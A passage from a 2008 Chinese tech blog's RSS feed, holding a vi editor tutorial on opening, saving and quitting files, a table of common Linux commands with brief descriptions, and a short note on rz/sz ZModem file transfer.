Vi的进入与退出　　　　　　2000年/6月/13日<br>　　Vi 的进入<br>　　用户登录到系统中之后，系统给出提示符&#8220;$&#8221;。在提示符后键入Vi和想要编辑（或建立）的文件名，便可进入Vi。<br>　　［例1］ 键入命令：<br>　　$ vi example.c<br>　　屏幕显示如下：<br>　　~<br>　　~<br>　　~<br>　　~<br>　　~<br>　　~<br>　　~<br>　　~<br>　　~<br>　　~<br>　　~<br>　　~<br>　　~<br>　　&#8220; example.c&#8221; ［New File］<br>　　如果只键入Vi，而不带文件名，也可以进入Vi。之后在光标处键入文件内容，退出Vi时，只需在退出命令后输入文件名即可。<br>　　进入Vi之后，首先进入的就是命令模式，也就是说等待命令输入而不是文本输入。这时输入的字母都将作为命令来解释。光标停在屏幕第一行首位上（用表示），其余各行行首均有一个&#8220;~&#8221;符号，表示该行为空行。最后一行也称状态行，显示出当前正在编辑的文件名以及其状态。如本例是［New File］，表示example.c是一个新建的文件。如果example.c文件已在系统中存在，那么输入上述命令后，则在屏幕上显示出该文件的内容，并且光标停在第一行的首位，在状态行显示出该文件的文件名、行数和字符数。<br>　　［例2］ 键入命令：<br>　　$ vi example.c<br>　　然后键入：<br>　　#include<br>　　main （ ）<br>　　{ int k ;<br>　　for （ k=0 ; k&lt;3 ; k++） add（ ）;<br>　　}<br>　　add（ ）<br>　　{ static int x=0;<br>　　x++ ;<br>　　printf（&#8220;x = %d\n&#8221;, x）;<br>　　}<br>　　~<br>　　~<br>　　~<br>　　~<br>　　&#8220; example.c&#8221; ［ New File］<br>　　注意，在这里我们为了节省篇幅起见，屏幕只显示15行。事实上，初始的显示行数与用户所用终端有关，一般的CRT终端可显示25行。在窗口系统中，显示行数与运行Vi的那个窗口有关。然而我们可以对显示行数进行设置。例如，在能显示25行的CRT终端上，让Vi只显示15行。设置的方法将在本节后面介绍。<br>　　当用Vi建立一个新文件时，在进入Vi的命令中也可以不给出文件名，当编辑完文件需要保存数据时，再由用户指定文件名。<br>　　进入Vi时，用户不仅可以指定一个待编辑的文件名，而且还有许多附加操作。<br>　　如果希望在进入Vi之后，光标处于文件中特定的某行上，可在Vi后加上任选项+n，其中n为指定的行数。<br>　　［例3］ 键入命令：<br>　　$ vi +5 example1.c<br>　　后，屏幕显示如下：<br>　　#include<br>　　main （ ）<br>　　{ int k ;<br>　　for （ k=0 ; k&lt;3 ; k++） add（ ）;<br>　　}<br>　　add（ ）<br>　　{ static int x=0;<br>　　x++ ;<br>　　printf（&#8220;x = %d\n&#8221;, x）;<br>　　}<br>　　~<br>　　~<br>　　~<br>　　~<br>　　~<br>　　&#8220; example.c&#8221; 12 lines, 125 characters<br>　　光标将位于文件example1.c中的第5行上。<br>　　如果希望在进入Vi之后光标处于文件最末行，则只需把命令中附加项&#8220;+&#8221;后面的数字n省略掉即可。<br>　　在进入Vi时，除了可以指定一个光标起始行号之外，还可以在命令中指定一个模式串，此时在进入Vi后，光标就处于文件中第一个与指定模式串相匹配的那行上。<br>　　［例4］ 键入命令：<br>　　$ vi +/int example1.c<br>　　屏幕显示如下：<br>　　#include<br>　　main （ ）<br>　　{ int k ;<br>　　for （ k=0 ; k&lt;3 ; k++） add（ ）;<br>　　}<br>　　add（ ）<br>　　{ static int x=0;<br>　　x++ ;<br>　　printf（&#8220;x = %d\n&#8221;, x）;<br>　　}<br>　　~<br>　　~<br>　　~<br>　　~<br>　　~<br>　　&#8220; example.c&#8221; 12 lines, 125 characters<br>　　光标将位于文件example1.c中的第3行上。<br>　　使用Vi可以同时编辑多个文件，只要在进入Vi的命令中写入所要操作的文件即可，还可以使用通配符。<br>　　［例5］ 键入命令：<br>　　$ vi *.cat<br>　　就可以编辑所有后缀为cat的文件了。当然，您还可以使用shell中内置的模式匹配来装载文件，这样会更富技巧性。一旦您在命令行中包含了所有的待编辑文件名，就可以在Vi中方便地移来移去。<br>　　退出Vi<br>　　当编辑完文件，准备退出Vi返回到shell时，可以使用以下几种方法之一。<br>　　在命令模式中，连按两次大写字母Z，若当前编辑的文件曾被修改过，则Vi保存该文件后退出，返回到shell；若当前编辑的文件没被修改过，则Vi直接退出, 返回到shell。<br>　　在末行模式下，输入命令:w<br>　　Vi保存当前编辑文件，但并不退出，而是继续等待用户输入命令。在使用w命令时，可以再给编辑文件起一个新的文件名。<br>　　［例6］<br>　　:w newfile<br>　　此时Vi将把当前文件的内容保存到指定的newfile中，而原有文件保持不变。若newfile是一个已存在的文件，则Vi在显示窗口的状态行给出提示信息：<br>　　File exists （use ! to override）<br>　　此时，若用户真的希望用文件的当前内容替换newfile中原有内容，可使用命令<br>　　:w! newfile<br>　　否则可选择另外的文件名来保存当前文件。<br>　　在末行模式下，输入命令:q<br>　　系统退出Vi返回到shell。若在用此命令退出Vi时，编辑文件没有被保存，则Vi在显示窗口的最末行显示如下信息：<br>　　No write since last change （use ! to overrides）<br>　　提示用户该文件被修改后没有保存，然后Vi并不退出，继续等待用户命令。若用户就是不想保存被修改后的文件而要强行退出Vi时，可使用命令:q!<br>　　Vi放弃所作修改而直接退到shell下。<br>　　在末行模式下，输入命令:wq<br>　　Vi将先保存文件，然后退出Vi返回到shell。<br>　　在末行模式下，输入命令:x<br>　　该命令的功能同命令模式下的ZZ命令功能相同。<br>　　Vi中的行号<br>　　Vi中的许多命令都要用到行号及行数等数值。若编辑的文件较大时，自己去数是非常不方便的。为此Vi提供了给文本加行号的功能。这些行号显示在屏幕的左边，而相应行的内容则显示在行号之后。<br>　　使用的命令为：在末行方式下输入命令：<br>　　:set number<br>　　需要说明的是，这里加的行号只是显示给用户看的，它们并不是文件内容的一部分。<br>　　在一个较大的文件中，用户可能需要了解光标当前行是哪一行，在文件中处于什么位置，可在命令模式下 。</span> 
<img src ="http://www.cnitblog.com/chenxin9821/aggbug/52146.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/chenxin9821/" target="_blank">金鳞</a> 2008-12-02 14:32 <a href="http://www.cnitblog.com/chenxin9821/articles/52146.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux 常用命令 </title><link>http://www.cnitblog.com/chenxin9821/articles/52137.html</link><dc:creator>金鳞</dc:creator><author>金鳞</author><pubDate>Tue, 02 Dec 2008 03:18:00 GMT</pubDate><guid>http://www.cnitblog.com/chenxin9821/articles/52137.html</guid><wfw:comment>http://www.cnitblog.com/chenxin9821/comments/52137.html</wfw:comment><comments>http://www.cnitblog.com/chenxin9821/articles/52137.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/chenxin9821/comments/commentRss/52137.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/chenxin9821/services/trackbacks/52137.html</trackback:ping><description><![CDATA[<blockquote>
<h1>Linux 常用命令 </h1>
<table cellSpacing=5 cellPadding=1 width=700 border=0>
    <tbody>
        <tr>
            <td class=td1>Linux 系统常用命令格式： </td>
        </tr>
        <tr>
            <td>
            <pre>    command  [option]  [argument1]  [argument2]  ...
            </pre>
            <p class=p1>其中option以&#8220;-&#8221;开始，多个option可用一个&#8220;-&#8221;连起来，如&#8220;ls -l -a&#8221; 与&#8220;ls -la&#8221;的效果是一样的。根据命令的不同，参数分为可选的或必须的；所有的命令从标准输入接受输入，输出结果显示在标准输出，而错误信息则显示在标准错误输出设备。可使用重定向功能对这些设备进行重定向。
            <p>命令在正常执行结果后返回一个0值，如果命令出错可未完全完成，则返回一个非零值(在shell中可用变量$?查看)。 在shell script中可用此返回值作为控制逻辑的一部分。 </p>
            </td>
        </tr>
        <tr>
            <td class=td1>帮助命令: </td>
        </tr>
        <tr>
            <td class=td2>
            <pre>man  获取相关命令的帮助信息
            例如：man dir 可以获取关于dir的使用信息。
            info  获取相关命令的详细使用方法
            例如：info info 可以获取如何使用info的详细信息。
            </pre>
            </td>
        </tr>
        <tr>
            <td class=td1>文件操作：</td>
        </tr>
        <tr>
            <td>
            <pre>           <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/cat.htm"><u><font color=#0000ff>cat</font></u></a>  显示文件内容和合并多个文件
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#clear"><u><font color=#0000ff>clear</font></u></a>  清屏
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#chattr"><u><font color=#0000ff>chattr</font></u></a>  改变文件属性
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#chgrp"><u><font color=#0000ff>chgrp</font></u></a>  改变文件组权
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/chmod.htm"><u><font color=#0000ff>chmod</font></u></a>  改变文件或目录的权限
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/chown.htm"><u><font color=#0000ff>chown</font></u></a>  改变文件的属权
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#comm"><u><font color=#0000ff>comm</font></u></a>  比较两个已排过序的文件
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/cp.htm"><u><font color=#0000ff>cp</font></u></a>  将文件拷贝至另一文件
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/dd.htm"><u><font color=#0000ff>dd</font></u></a>  从指定文件读取数据写到指定文件
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#df"><u><font color=#0000ff>df</font></u></a>  报告磁盘空间使用情况
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/diff.htm"><u><font color=#0000ff>diff</font></u></a>  比较两个文本文件，列出行不同之处
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#du"><u><font color=#0000ff>du</font></u></a>  统计目录／文件所占磁盘空间的大小
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#file"><u><font color=#0000ff>file</font></u></a>  辨识文件类型
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/emacs.pdf"><u><font color=#0000ff>emacs</font></u></a>  功能强大的编辑环境
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/find.htm"><u><font color=#0000ff>find</font></u></a>  搜索文件并执行指定操作(<a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/find2.htm"><u><font color=#0000ff>find2</font></u></a>)
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/grep.htm"><u><font color=#0000ff>grep</font></u></a>  按给定模式搜索文件内容
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/head.htm"><u><font color=#0000ff>head</font></u></a>  显示指定文件的前若干行
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/less.htm"><u><font color=#0000ff>less</font></u></a>  按页显示文件
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/ln.htm"><u><font color=#0000ff>ln</font></u></a>  创建文件链接
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/locate.htm"><u><font color=#0000ff>locate</font></u></a>  查找符合条件的文件
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/more.htm"><u><font color=#0000ff>more</font></u></a>  在终端屏幕按帧显示文本文件
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/mv.htm"><u><font color=#0000ff>mv</font></u></a>  文件或目录的移动或更名
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#rm"><u><font color=#0000ff>rm/rmdir</font></u></a>  删除文件／目录
            sed</a>  利用script来处理文本文件
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#sort"><u><font color=#0000ff>sort</font></u></a>  对指定文件按行进行排序
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#tail"><u><font color=#0000ff>tail</font></u></a>  显示指定文件的最后部分
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#touch"><u><font color=#0000ff>touch</font></u></a>  创建文件
            tr</a>  转换字符
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/books/vim63manual.pdf"><u><font color=#0000ff>vi</font></u></a>  全屏编辑器
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#wc"><u><font color=#0000ff>wc</font></u></a>  显示指定文件中的行数，词数或字符数
            which</a>  在环境变量 $PATH 设置的目录里查找符合条件的文件
            </pre>
            </td>
        </tr>
        <tr>
            <td class=td1>压缩与备份:</td>
        </tr>
        <tr>
            <td>
            <pre>           bzip2/bunzip2</a>  .bz2文件的压缩/解压缩程序
            cpio</a>  备份文件
            dump</a>  备份文件系统
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/gzip.htm"><u><font color=#0000ff>gzip/gunzip</font></u></a>  .gz文件的压缩/解压缩程序
            gzexe</a>  压缩可执行文件
            restore</a> 还原由倾倒(Dump)操作所备份下来的文件或整个文件系统(一个分区)
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#tar"><u><font color=#0000ff>tar</font></u></a>  将若干文件存档或读取存档文件
            unarj</a>  解压缩.arj文件
            zip/unzip</a>  压缩/解压缩 zip文件
            zipinfo</a>  列出zip压缩文件的详细信息
            </pre>
            </td>
        </tr>
        <tr>
            <td class=td1>磁盘操作:</td>
        </tr>
        <tr>
            <td>
            <pre>           <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/cd_pwd.htm"><u><font color=#0000ff>cd/pwd</font></u></a>  切换目录/显示当前工作目录
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#df"><u><font color=#0000ff>df</font></u></a>  显示磁盘的相关信息
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#du"><u><font color=#0000ff>du</font></u></a>  显示目录或文件的大小
            e2fsck</a>  检查ext2/ext3文件系统的正确性
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#fdisk"><u><font color=#0000ff>fdisk</font></u></a>  对硬盘进行分区
            fsck</a>  检查文件系统并尝试修复错误
            losetup</a>  设置循环设备
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/ls.htm"><u><font color=#0000ff>ls</font></u></a>  列出目录内容
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/mkdir.htm"><u><font color=#0000ff>mkdir</font></u></a>  创建目录
            mformat</a>  对MS-DOS文件系统的磁盘进行格式化
            mkbootdisk</a>  建立目前系统的启动盘
            mke2fs</a>  建立ext2文件系统
            mkisofs</a>  制作iso光盘映像文件
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/mount.htm"><u><font color=#0000ff>mount/umount</font></u></a> 加载文件系统/卸载文件系统
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#quota"><u><font color=#0000ff>quota</font></u></a>  显示磁盘已使用的空间与限制
            sync</a>  将内存缓冲区内的数据写入磁盘
            tree</a>  以树状图列出目录的内容
            </pre>
            </td>
        </tr>
        <tr>
            <td class=td1>系统操作:</td>
        </tr>
        <tr>
            <td>
            <pre>           <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#alias"><u><font color=#0000ff>alias</font></u></a>  设置指令的别名
            chkconfig</a>  检查，设置系统的各种服务
            clock</a>  调整 RTC 时间
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#date"><u><font color=#0000ff>date</font></u></a>  显示或设置系统时间与日期
            dmesg</a>  显示开机信息
            eval</a>  重新运算求出参数的内容
            exit</a>  退出目前的shell
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#export"><u><font color=#0000ff>export</font></u></a>  设置或显示环境变量
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#finger"><u><font color=#0000ff>finger</font></u></a>  查找并显示用户信息
            free</a>  显示内存状态
            hostid</a>  显示主机标识
            hostname</a>  显示主机名
            id</a>  显示用户标识
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#kill"><u><font color=#0000ff>kill</font></u></a>  删除执行中的程序或工作
            last</a>  列出目前与过去登入系统的用户相关信息
            logout</a>  退出系统
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#lsmod"><u><font color=#0000ff>lsmod</font></u></a>  显示已载入系统的模块
            modprobe</a>  自动处理可载入模块
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#passwd"><u><font color=#0000ff>passwd</font></u></a>  设置用户密码
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#ps"><u><font color=#0000ff>ps</font></u></a>  process status 报告程序状况
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#reboot"><u><font color=#0000ff>reboot</font></u></a>  重启计算机
            rhwo</a>  查看系统用户
            rlogin</a>  远程登入
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/rpm.htm"><u><font color=#0000ff>rpm</font></u></a>  管理Linux各项套件的程序
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#shutdown"><u><font color=#0000ff>shutdown</font></u></a>  关机
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#su"><u><font color=#0000ff>su</font></u></a> switch user 变更用户身份
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#top"><u><font color=#0000ff>top</font></u></a>  显示，管理执行中的程序
            uname</a>  显示系统信息
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/useradd_del.htm"><u><font color=#0000ff>useradd/userdel</font></u></a>	 添加用户 / 删除用户
            userinfo  图形界面的修改工具
            usermod  修改用户属性，包括用户的shell类型，用户组等，甚至还能改登录名
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#w"><u><font color=#0000ff>w</font></u></a>  显示目前注册的用户及用户正运行的命令
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#whereis"><u><font color=#0000ff>whereis</font></u></a>	 确定一个命令的二进制执行码，源码及帮助所在的位置
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#who"><u><font color=#0000ff>who</font></u></a>  列出正在使用系统的用户
            whois</a>  查找并显示用户信息
            </pre>
            </td>
        </tr>
        <tr>
            <td class=td1>网络通信:</td>
        </tr>
        <tr>
            <td>
            <pre>           <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/arp.htm"><u><font color=#0000ff>arp</font></u></a>  网地址的显示及控制
            ftp</a>  文件传输
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/lftp.htm"><u><font color=#0000ff>lftp</font></u></a>  文件传输
            mail</a>  发送／接收电子邮件
            mesg</a>  允许或拒绝其他用户向自己所用的终端发送信息
            mutt</a>  E-mail管理程序
            ncftp</a>  文件传输
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#netstat"><u><font color=#0000ff>netstat</font></u></a>  显示网络连接、路由表和网络接口信息
            pine</a>  收发电子邮件，浏览新闻组
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/other.htm#ping"><u><font color=#0000ff>ping</font></u></a>  向网络上的主机发送 icmp echo request 包
            ssh</a>  安全模式下的远程登录
            telnet</a>  远程登录
            talk</a>  与另一用户对话
            traceroute</a>  显示到达某一主机所经由的路径及所使用的时间
            <a href="http://www.math.ecnu.edu.cn/~jypan/linux/command/wget.htm"><u><font color=#0000ff>wget</font></u></a> 从网络上自动下载文件
            write</a>  向其他用户的终端写信息
            </pre>
            </td>
        </tr>
    </tbody>
</table>
</blockquote>
<img src ="http://www.cnitblog.com/chenxin9821/aggbug/52137.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/chenxin9821/" target="_blank">金鳞</a> 2008-12-02 11:18 <a href="http://www.cnitblog.com/chenxin9821/articles/52137.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>linux 与 windows 文件传输：rz/sz</title><link>http://www.cnitblog.com/chenxin9821/articles/51425.html</link><dc:creator>金鳞</dc:creator><author>金鳞</author><pubDate>Fri, 14 Nov 2008 05:10:00 GMT</pubDate><guid>http://www.cnitblog.com/chenxin9821/articles/51425.html</guid><wfw:comment>http://www.cnitblog.com/chenxin9821/comments/51425.html</wfw:comment><comments>http://www.cnitblog.com/chenxin9821/articles/51425.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/chenxin9821/comments/commentRss/51425.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/chenxin9821/services/trackbacks/51425.html</trackback:ping><description><![CDATA[<br>&nbsp;&nbsp;&nbsp; ZModem is a full-duplex file transfer protocol that supports fast data transfer rates and effective error detection. ZModem is very user friendly, allowing either the sending or receiving party to initiate a file transfer. ZModem supports multiple file ("batch") transfers, and allows the use of wildcards when specifying filenames. ZModem also supports resuming most prior ZModem file transfer attempts.<br><br>　　rz，sz是便是Linux/Unix同Windows进行ZModem文件传输的命令行工具<br><br>　　windows端需要支持ZModem的telnet/ssh客户端，SecureCRT就可以用SecureCRT登陆到Unix/Linux主机（telnet或ssh均可）<br><br>　　O 运行命令rz，即是接收文件，SecureCRT就会弹出文件选择对话框，选好文件之后关闭对话框，文件就会上传到当前目录<br><br>　　O 运行命令sz file1 file2就是发文件到windows上（保存的目录是可以配置） 比ftp命令方便多了，而且服务器不用再开FTP服务了<br><br>　　PS：Linux上rz/sz这两个小工具安装lrzsz-x.x.xx.rpm即可，Unix可用源码自行 编译，Solaris spac的可以到sunfreeware下载执行码。<br><br><br><br><br>
<img src ="http://www.cnitblog.com/chenxin9821/aggbug/51425.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/chenxin9821/" target="_blank">金鳞</a> 2008-11-14 13:10 <a href="http://www.cnitblog.com/chenxin9821/articles/51425.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>